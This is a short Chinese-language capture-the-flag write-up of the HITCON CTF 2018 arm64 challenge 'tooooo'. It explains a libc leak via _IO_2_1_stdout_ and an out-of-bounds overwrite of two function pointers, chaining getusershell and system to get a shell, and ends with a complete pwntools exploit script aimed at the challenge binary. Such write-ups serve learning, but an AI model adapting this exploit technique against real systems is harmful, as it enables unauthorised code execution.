[HITCON CTF 2018] tooooo

  • M4x师傅给了一道arm64位的题看了一下,被本题的操作秀到了,记录一下,题目链接

  • 首先配置arm64位的环境

1
2
apt-cache search "libc6" | grep arm64
sudo apt-get install libc6-arm64-cross

  • 然后将libc和ld改名一下,就可以用之前的模版运行我们的程序了

  • 程序先泄漏了_IO_2_1_stdout_的真实地址,然后我们可以得到libc基址,漏洞点主要是可以对unk_12018进行越界覆盖printf_too,printf_many两个函数指针,从而有两次函数执行的机会,这里我们可以先执行getusershell函数(骚东西)让x0寄存器存储’/bin/sh’的地址(arm64位传参是先x0-x8寄存器,然后才到栈),然后执行system函数

  • 这里打成功了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import sys
context.binary = "./tooooo"
binary = './tooooo'

if sys.argv[1] == "r":
p = remote("127.0.0.1", 1234)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "./", binary])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "./", binary])

elf = ELF("./tooooo")
libc = ELF("./lib/libc.so.6")
offset__IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_']
print "_IO_2_1_stdout_",hex(libc.symbols['_IO_2_1_stdout_'])
print "str_bin_sh",hex(next(libc.search('/bin/sh')))

context.log_level = "debug"
addr = int(p.recvuntil('\n',drop = True)[2:],16)
libc_base = addr - offset__IO_2_1_stdout_

payload = '1'*0x20 + p64(libc_base + libc.symbols['getusershell']) + p64(libc_base + libc.symbols['system'])
p.sendline(payload)

p.interactive()